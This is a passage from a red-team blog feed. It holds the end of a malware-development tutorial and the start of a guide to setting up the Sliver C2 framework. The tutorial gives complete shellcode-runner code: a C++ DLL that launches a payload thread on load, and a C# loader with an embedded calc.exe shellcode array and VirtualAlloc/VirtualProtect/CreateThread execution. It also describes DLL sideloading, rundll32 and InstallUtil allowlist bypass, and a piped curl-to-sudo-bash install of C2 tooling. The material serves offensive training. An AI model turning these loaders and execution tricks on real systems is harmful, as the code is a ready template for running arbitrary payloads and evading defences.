    <span class="k">if</span> <span class="p">(</span><span class="n">rv</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// 4. Run the payload</span>
        <span class="n">th</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">exec_buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">th</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Program entry point</span>
<span class="n">BOOL</span> <span class="n">APIENTRY</span> <span class="n">DllMain</span><span class="p">(</span> <span class="n">HMODULE</span> <span class="n">hModule</span><span class="p">,</span> <span class="n">DWORD</span>  <span class="n">ul_reason_for_call</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpReserved</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">th</span><span class="p">;</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">ul_reason_for_call</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
        <span class="c1">// Create a thread to call our shellcode runner function</span>
        <span class="n">th</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">ShellcodeRunner</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">th</span><span class="p">);</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_ATTACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_DETACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_DETACH</span><span class="p">:</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In the above C++ code, the <code class="language-plaintext highlighter-rouge">DllMain</code> function is the default <a href="https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain">entry point</a> for a DLL which is where the program starts. When a process loads the DLL (<code class="language-plaintext highlighter-rouge">DLL_PROCESS_ATTACH</code>), we want to create a new thread to run our shellcode function, <code class="language-plaintext highlighter-rouge">ShellcodeRunner()</code>. This function is the exact code from our previous C++ executable and should look familiar.<br /></p>

<p>Notice that we use the <code class="language-plaintext highlighter-rouge">CreateThread</code> API function here. This is where we call the function we want to create a new thread, aka our shellcode execution function. The <code class="language-plaintext highlighter-rouge">CreateThread</code> function takes 6 arguments which are detailed in the <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread">Windows API docs</a>. The main argument we need to supply is the 3rd arg, <code class="language-plaintext highlighter-rouge">lpStartAddress</code>, which is a “pointer to the application-defined function to be executed by the thread”. This is the place we call our shellcode function which will run upon launching the DLL.</p>

<p><img src="/assets/images/maldev101/createthread.png" alt="createthread" width="" height="" /></p>

<p>In order to execute our DLL, we’ll need an executable that will call our DLL. One common method to perform this is referred to as “DLL sideloading” or “Dll search order hijacking” which we can use by hijacking the <a href="https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security">Windows default search order</a> of where DLLs are loaded from. If we place a DLL into the same folder as an EXE that is expected to load a DLL as the same name of our malicious DLL, Windows will search the directory of where the EXE was loaded first, and therefore execute our DLL of the same name. There are <a href="https://www.mandiant.com/resources/reports/dll-side-loading-thorn-side-anti-virus-industry">many</a>, <a href="https://attack.mitre.org/techniques/T1574/002/">different</a>, <a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking">resources</a> for this online so we’re not going to get into it here.</p>

<p>To launch the DLL for the sake of testing, we can use the <a href="https://lolbas-project.github.io/lolbas/Binaries/Rundll32/">Rundll32.exe</a> LOLBin with the following syntax, where <strong>compiled-payload.dll</strong> is the name of our DLL and <strong>DLlMain</strong> is the default entry point. Upon execution, there should be an error from <code class="language-plaintext highlighter-rouge">rundll32</code> but the program should also pop our <code class="language-plaintext highlighter-rouge">calc.exe</code> shellcode.<br />
<code class="language-plaintext highlighter-rouge">rundll32.exe compiled-payload.dll,DllMain</code><br /></p>

<p><img src="/assets/images/maldev101/rundll-example.png" alt="rundll32-example" width="450" height="350" /></p>

<h3 id="c-exe-payload">C# EXE Payload</h3>
<p>Before we can begin to write malware in C#, we need to understand the difference between “managed code” and “unmanaged code” from the .NET Framework. Managed code is code that is managed by the <a href="https://learn.microsoft.com/en-us/dotnet/standard/clr">Common Language Runtime</a> (CLR) in .NET, and unmanaged code is code executed directly by the OS. In order to use the typical Windows API functions in C# that we saw above in C++, we first need to import these functions using unmanaged code. This technique is refered to as <a href="https://learn.microsoft.com/en-us/dotnet/framework/interop/platform-invoke-examples">Platform Invoke</a> (PInvoke). See the following example for PInvoke provided by Microsoft:<br /></p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Reference: https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.dllimportattribute?view=net-8.0</span>
<span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>

<span class="k">class</span> <span class="nc">Example</span>
<span class="p">{</span>
    <span class="c1">// Use DllImport to import the Win32 MessageBox function.</span>
    <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"user32.dll"</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Unicode</span><span class="p">)]</span>
    <span class="k">public</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">int</span> <span class="nf">MessageBox</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hWnd</span><span class="p">,</span> <span class="n">String</span> <span class="n">text</span><span class="p">,</span> <span class="n">String</span> <span class="n">caption</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">type</span><span class="p">);</span>
    
    <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="c1">// Call the MessageBox function using platform invoke.</span>
        <span class="nf">MessageBox</span><span class="p">(</span><span class="k">new</span> <span class="nf">IntPtr</span><span class="p">(</span><span class="m">0</span><span class="p">),</span> <span class="s">"Hello World!"</span><span class="p">,</span> <span class="s">"Hello Dialog"</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In this example above, we use the <code class="language-plaintext highlighter-rouge">[DllImport("user32.dll"]</code> code to load the <code class="language-plaintext highlighter-rouge">MessageBox</code> API function from the <code class="language-plaintext highlighter-rouge">user32.dll</code> DLL. We can confirm that this function is within the specific DLL by looking at the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox">MessageBox documentation here</a>, shown below.</p>

<p><img src="/assets/images/maldev101/messagebox-docs.png" alt="messagebox-docs" width="400" height="300" /></p>

<p>Now we can use this PInvoke technique to import our required Windows API functions for executing shellcode with unmanaged code!<br /></p>

<p>To create an EXE in C#, we can use the following code template to launch shellcode and compile it with <code class="language-plaintext highlighter-rouge">csc.exe</code> using the following command (<em>note that csc.exe is part of the .NET Framework</em>):<br />
<code class="language-plaintext highlighter-rouge">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /platform:x64 /out:csharp_payload.exe csharp_EXE.cs</code></p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>

<span class="k">namespace</span> <span class="nn">Csharp</span>
<span class="p">{</span>
    <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">UInt32</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="n">UInt32</span> <span class="n">lpStartAddr</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">size</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flAllocationType</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flProtect</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">VirtualProtect</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwSize</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">flNewProtect</span><span class="p">,</span> <span class="k">out</span> <span class="kt">uint</span> <span class="n">lpflOldProtect</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">CreateThread</span><span class="p">(</span><span class="n">UInt32</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">dwStackSize</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">lpStartAddress</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">param</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="k">ref</span> <span class="n">UInt32</span> <span class="n">lpThreadId</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">UInt32</span> <span class="nf">WaitForSingleObject</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hHandle</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">dwMilliseconds</span><span class="p">);</span>

        <span class="k">static</span> <span class="n">UInt32</span> <span class="n">PAGE_READWRITE</span> <span class="p">=</span> <span class="m">0x04</span><span class="p">;</span> <span class="c1">//RW</span>
        <span class="k">static</span> <span class="n">UInt32</span> <span class="n">PAGE_EXECUTE_READ</span> <span class="p">=</span> <span class="m">0x20</span><span class="p">;</span> <span class="c1">//RX</span>

        <span class="c1">// Main function</span>
        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// Calc.exe shellcode</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">shellcode</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">276</span><span class="p">]</span> <span class="p">{</span>
                <span class="m">0xfc</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x83</span><span class="p">,</span><span class="m">0xe4</span><span class="p">,</span><span class="m">0xf0</span><span class="p">,</span><span class="m">0xe8</span><span class="p">,</span><span class="m">0xc0</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x51</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x50</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0x51</span><span class="p">,</span><span class="m">0x56</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x31</span><span class="p">,</span><span class="m">0xd2</span><span class="p">,</span><span class="m">0x65</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0x60</span><span class="p">,</span>
                <span class="m">0x48</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0x18</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0x20</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x72</span><span class="p">,</span><span class="m">0x50</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x0f</span><span class="p">,</span><span class="m">0xb7</span><span class="p">,</span><span class="m">0x4a</span><span class="p">,</span><span class="m">0x4a</span><span class="p">,</span><span class="m">0x4d</span><span class="p">,</span><span class="m">0x31</span><span class="p">,</span><span class="m">0xc9</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x31</span><span class="p">,</span><span class="m">0xc0</span><span class="p">,</span><span class="m">0xac</span><span class="p">,</span><span class="m">0x3c</span><span class="p">,</span>
                <span class="m">0x61</span><span class="p">,</span><span class="m">0x7c</span><span class="p">,</span><span class="m">0x02</span><span class="p">,</span><span class="m">0x2c</span><span class="p">,</span><span class="m">0x20</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0xc1</span><span class="p">,</span><span class="m">0xc9</span><span class="p">,</span><span class="m">0x0d</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0xc1</span><span class="p">,</span><span class="m">0xe2</span><span class="p">,</span><span class="m">0xed</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x51</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0x20</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x42</span><span class="p">,</span><span class="m">0x3c</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span>
                <span class="m">0x01</span><span class="p">,</span><span class="m">0xd0</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x80</span><span class="p">,</span><span class="m">0x88</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x85</span><span class="p">,</span><span class="m">0xc0</span><span class="p">,</span><span class="m">0x74</span><span class="p">,</span><span class="m">0x67</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0xd0</span><span class="p">,</span><span class="m">0x50</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x18</span><span class="p">,</span><span class="m">0x44</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x40</span><span class="p">,</span><span class="m">0x20</span><span class="p">,</span><span class="m">0x49</span><span class="p">,</span>
                <span class="m">0x01</span><span class="p">,</span><span class="m">0xd0</span><span class="p">,</span><span class="m">0xe3</span><span class="p">,</span><span class="m">0x56</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0xff</span><span class="p">,</span><span class="m">0xc9</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x34</span><span class="p">,</span><span class="m">0x88</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0xd6</span><span class="p">,</span><span class="m">0x4d</span><span class="p">,</span><span class="m">0x31</span><span class="p">,</span><span class="m">0xc9</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x31</span><span class="p">,</span><span class="m">0xc0</span><span class="p">,</span><span class="m">0xac</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0xc1</span><span class="p">,</span><span class="m">0xc9</span><span class="p">,</span><span class="m">0x0d</span><span class="p">,</span>
                <span class="m">0x41</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0xc1</span><span class="p">,</span><span class="m">0x38</span><span class="p">,</span><span class="m">0xe0</span><span class="p">,</span><span class="m">0x75</span><span class="p">,</span><span class="m">0xf1</span><span class="p">,</span><span class="m">0x4c</span><span class="p">,</span><span class="m">0x03</span><span class="p">,</span><span class="m">0x4c</span><span class="p">,</span><span class="m">0x24</span><span class="p">,</span><span class="m">0x08</span><span class="p">,</span><span class="m">0x45</span><span class="p">,</span><span class="m">0x39</span><span class="p">,</span><span class="m">0xd1</span><span class="p">,</span><span class="m">0x75</span><span class="p">,</span><span class="m">0xd8</span><span class="p">,</span><span class="m">0x58</span><span class="p">,</span><span class="m">0x44</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x40</span><span class="p">,</span><span class="m">0x24</span><span class="p">,</span><span class="m">0x49</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0xd0</span><span class="p">,</span>
                <span class="m">0x66</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x0c</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x44</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x40</span><span class="p">,</span><span class="m">0x1c</span><span class="p">,</span><span class="m">0x49</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0xd0</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x04</span><span class="p">,</span><span class="m">0x88</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0xd0</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x58</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x58</span><span class="p">,</span><span class="m">0x5e</span><span class="p">,</span><span class="m">0x59</span><span class="p">,</span>
                <span class="m">0x5a</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x58</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x59</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x5a</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x83</span><span class="p">,</span><span class="m">0xec</span><span class="p">,</span><span class="m">0x20</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0xff</span><span class="p">,</span><span class="m">0xe0</span><span class="p">,</span><span class="m">0x58</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x59</span><span class="p">,</span><span class="m">0x5a</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x12</span><span class="p">,</span><span class="m">0xe9</span><span class="p">,</span><span class="m">0x57</span><span class="p">,</span><span class="m">0xff</span><span class="p">,</span>
                <span class="m">0xff</span><span class="p">,</span><span class="m">0xff</span><span class="p">,</span><span class="m">0x5d</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0xba</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x8d</span><span class="p">,</span><span class="m">0x8d</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0x01</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0xba</span><span class="p">,</span><span class="m">0x31</span><span class="p">,</span><span class="m">0x8b</span><span class="p">,</span><span class="m">0x6f</span><span class="p">,</span>
                <span class="m">0x87</span><span class="p">,</span><span class="m">0xff</span><span class="p">,</span><span class="m">0xd5</span><span class="p">,</span><span class="m">0xbb</span><span class="p">,</span><span class="m">0xe0</span><span class="p">,</span><span class="m">0x1d</span><span class="p">,</span><span class="m">0x2a</span><span class="p">,</span><span class="m">0x0a</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0xba</span><span class="p">,</span><span class="m">0xa6</span><span class="p">,</span><span class="m">0x95</span><span class="p">,</span><span class="m">0xbd</span><span class="p">,</span><span class="m">0x9d</span><span class="p">,</span><span class="m">0xff</span><span class="p">,</span><span class="m">0xd5</span><span class="p">,</span><span class="m">0x48</span><span class="p">,</span><span class="m">0x83</span><span class="p">,</span><span class="m">0xc4</span><span class="p">,</span><span class="m">0x28</span><span class="p">,</span><span class="m">0x3c</span><span class="p">,</span><span class="m">0x06</span><span class="p">,</span><span class="m">0x7c</span><span class="p">,</span><span class="m">0x0a</span><span class="p">,</span><span class="m">0x80</span><span class="p">,</span>
                <span class="m">0xfb</span><span class="p">,</span><span class="m">0xe0</span><span class="p">,</span><span class="m">0x75</span><span class="p">,</span><span class="m">0x05</span><span class="p">,</span><span class="m">0xbb</span><span class="p">,</span><span class="m">0x47</span><span class="p">,</span><span class="m">0x13</span><span class="p">,</span><span class="m">0x72</span><span class="p">,</span><span class="m">0x6f</span><span class="p">,</span><span class="m">0x6a</span><span class="p">,</span><span class="m">0x00</span><span class="p">,</span><span class="m">0x59</span><span class="p">,</span><span class="m">0x41</span><span class="p">,</span><span class="m">0x89</span><span class="p">,</span><span class="m">0xda</span><span class="p">,</span><span class="m">0xff</span><span class="p">,</span><span class="m">0xd5</span><span class="p">,</span><span class="m">0x63</span><span class="p">,</span><span class="m">0x61</span><span class="p">,</span><span class="m">0x6c</span><span class="p">,</span><span class="m">0x63</span><span class="p">,</span><span class="m">0x2e</span><span class="p">,</span><span class="m">0x65</span><span class="p">,</span><span class="m">0x78</span><span class="p">,</span><span class="m">0x65</span><span class="p">,</span><span class="m">0x00</span>
            <span class="p">};</span>

            <span class="c1">// 1. Allocate shellcode</span>
            <span class="n">UInt32</span> <span class="n">funcAddr</span> <span class="p">=</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="m">0</span><span class="p">,</span> <span class="p">(</span><span class="n">UInt32</span><span class="p">)</span><span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="p">(</span><span class="m">0x1000</span> <span class="p">|</span> <span class="m">0x2000</span><span class="p">),</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
            
            <span class="c1">// 2. Copy shellcode to allocated space</span>
            <span class="n">Marshal</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">shellcode</span> <span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)</span><span class="n">funcAddr</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>

            <span class="c1">// 3. Change protection to executable</span>
            <span class="kt">uint</span> <span class="n">oldprotection</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="nf">VirtualProtect</span><span class="p">((</span><span class="n">IntPtr</span><span class="p">)</span><span class="n">funcAddr</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)</span><span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">,</span> <span class="k">out</span> <span class="n">oldprotection</span><span class="p">);</span>

            <span class="n">IntPtr</span> <span class="n">hThread</span> <span class="p">=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">;</span>
            <span class="n">UInt32</span> <span class="n">threadId</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>

            <span class="c1">// 4. Execute</span>
            <span class="n">hThread</span> <span class="p">=</span> <span class="nf">CreateThread</span><span class="p">(</span><span class="m">0</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">funcAddr</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">ref</span> <span class="n">threadId</span><span class="p">);</span>
            <span class="nf">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="m">0xFFFFFFFF</span><span class="p">);</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span><span class="c1">//end namespace</span>
</code></pre></div></div>

<p>You can identify the 5 main functions numbered in the code sample above which are used to launch our shellcode. There are also many small derivations of this code sample generally used to perform the same task of executing shellcode, so other code samples online may look slightly different but function the same.<br />
Once you have your compiled payload, execute it by double-clicking the EXE or running it via command-line. If it works then you should see the Windows calculator (<code class="language-plaintext highlighter-rouge">calc.exe</code> process) pop up without errors!<br /></p>

<p><img src="/assets/images/maldev101/csharp-exe.png" alt="csharp-exe" /></p>

<h3 id="c-dll-payload-1">C# DLL Payload</h3>
<p>To create a C# DLL, small modifications to the above code would be needed. We’re not gong to cover this yet as the execution techniques are a bit more advanced and fit into the <strong>Evasion</strong> category (more on this in <a href="part-2-URL">Part 2</a>). But we can at least discuss how to execute DLL’s in C# by using different LOLBins.<br /></p>

<p>To provide one basic example, we’ll look at the <a href="https://lolbas-project.github.io/lolbas/Binaries/Installutil/">InstallUtil</a> LOLBin which is part of the .NET Framework. The <strong>InstallUtil</strong> binary is normally used to install/uninstall server resources, however we can also use it to launch a malicious DLL. On 64-bit versions of Windows, by default it is installed at the path <code class="language-plaintext highlighter-rouge">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe</code>. This technique is referred to as an “<strong>Application Allowlist Bypass</strong>” by using legitimate binaries to execute malicious code. Some similar .NET binaries for code execution include <a href="https://lolbas-project.github.io/lolbas/Binaries/Msbuild/">MsBuild</a> or <a href="https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/">Microsoft.Workflow.Compiler.exe</a>.<br /></p>

<p>If you want to look at some of these DLL code samples, please look at the LOLBAS page for each LOLBin and check out the <strong>Resources</strong> section links.</p>

<p><img src="/assets/images/maldev101/installutil.png" alt="installutil" width="650" height="350" /></p>

<hr />

<p>That’s all for now, thanks for reading! <!--- The next part of this series covering evasion techniques can be found at the following link:<br /> --></p>

<!--- [Malware Development Introduction - Part 2](part-2-URL) -->]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><category term="redteam" /><summary type="html"><![CDATA[Malware Development Introduction (aka Malware Dev 101), Part 1]]></summary></entry><entry><title type="html">Sliver C2 Deployment for Red Team Engagements</title><link href="https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html" rel="alternate" type="text/html" title="Sliver C2 Deployment for Red Team Engagements" /><published>2023-07-25T00:00:00+00:00</published><updated>2023-07-25T00:00:00+00:00</updated><id>https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams</id><content type="html" xml:base="https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html"><![CDATA[<p><a href="https://github.com/BishopFox/sliver/">Sliver</a> has been a popular open-source C2 in recent years and has had continuous improvements since its release. It’s cross-platform and easy to setup which were both appealing to me when I first started using it. I wanted to learn how to setup Sliver as a C2 server for red teams so I decided to document it for my own reference and anyone else interested. Here’s what we’ll cover:</p>

<ul>
  <li>Sliver installation</li>
  <li>Connecting and Setup</li>
  <li>Redirectors</li>
  <li>Beacons</li>
  <li>Staged Payloads</li>
</ul>

<hr />

<h2 id="sliver-installation">Sliver Installation</h2>

<p>Sliver documentation: <a href="https://github.com/BishopFox/sliver/wiki">https://github.com/BishopFox/sliver/wiki</a></p>

<p>Spin up a Linux droplet/EC2/whatever to host your C2 server. Run the initial updates and install MinGW to allow compilation of shellcode/staged/DLL payloads:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt update <span class="nt">-y</span>
apt update <span class="nt">--fix-missing</span> <span class="nt">-y</span>
apt <span class="nb">install </span>git mingw-w64 net-tools <span class="nt">-y</span>
</code></pre></div></div>

<p>Once the system is updated, Sliver is <strong>very</strong> easy to install using the setup script (<a href="https://github.com/BishopFox/sliver/#getting-started">reference</a>): <br />
<code class="language-plaintext highlighter-rouge">curl https://sliver.sh/install|sudo bash</code> <br />
